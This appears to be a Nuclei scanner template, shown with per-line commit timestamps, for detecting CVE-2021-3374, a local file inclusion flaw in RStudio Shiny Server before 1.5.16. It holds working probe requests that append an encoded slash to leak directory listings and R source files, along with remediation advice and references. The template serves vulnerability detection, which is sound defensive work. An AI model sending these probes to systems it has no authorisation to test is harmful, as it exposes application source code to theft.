2021-04-14 20:56:03 +00:00
id : CVE-2021-3374
info :
2022-07-26 13:45:11 +00:00
name : Rstudio Shiny Server <1.5.16 - Local File Inclusion
2021-04-14 20:56:03 +00:00
author : geeknik
severity : medium
2022-07-26 13:45:11 +00:00
description : Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability.
2022-04-22 10:38:41 +00:00
reference :
2022-05-17 09:18:12 +00:00
- https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
- https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-3374
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 5.3
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-3374
cwe-id : CWE-22
2023-10-26 18:00:24 +00:00
epss-score : 0.00175
2023-11-03 10:59:12 +00:00
epss-percentile : 0.54522
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:rstudio:shiny_server:*:*:*:*:pro:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : rstudio
product : shiny_server
tags : cve,cve2021,rstudio,traversal
2021-04-14 20:56:03 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-04-14 20:56:03 +00:00
- method : GET
path :
- "{{BaseURL}}/%2f/"
- "{{BaseURL}}/sample-apps/hello/%2f/"
matchers-condition : and
matchers :
- type : word
words :
- "Index of /"
2023-07-11 19:49:27 +00:00
2021-04-14 20:56:03 +00:00
- type : regex
part : body
regex :
- "[A-Za-z].*\\.R"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2023-11-03 15:16:28 +00:00
# digest: 4a0a0047304502203571e4dc5ba290c001f58e5e5e3008764a181f0cf8b4ff4533c77f52a7111356022100d7233e4d5fb066b3a800013f0b35b46e3d0386d3b642cce64e2f38e0a734cffd:922c64590222798bb761d5b6d8e72950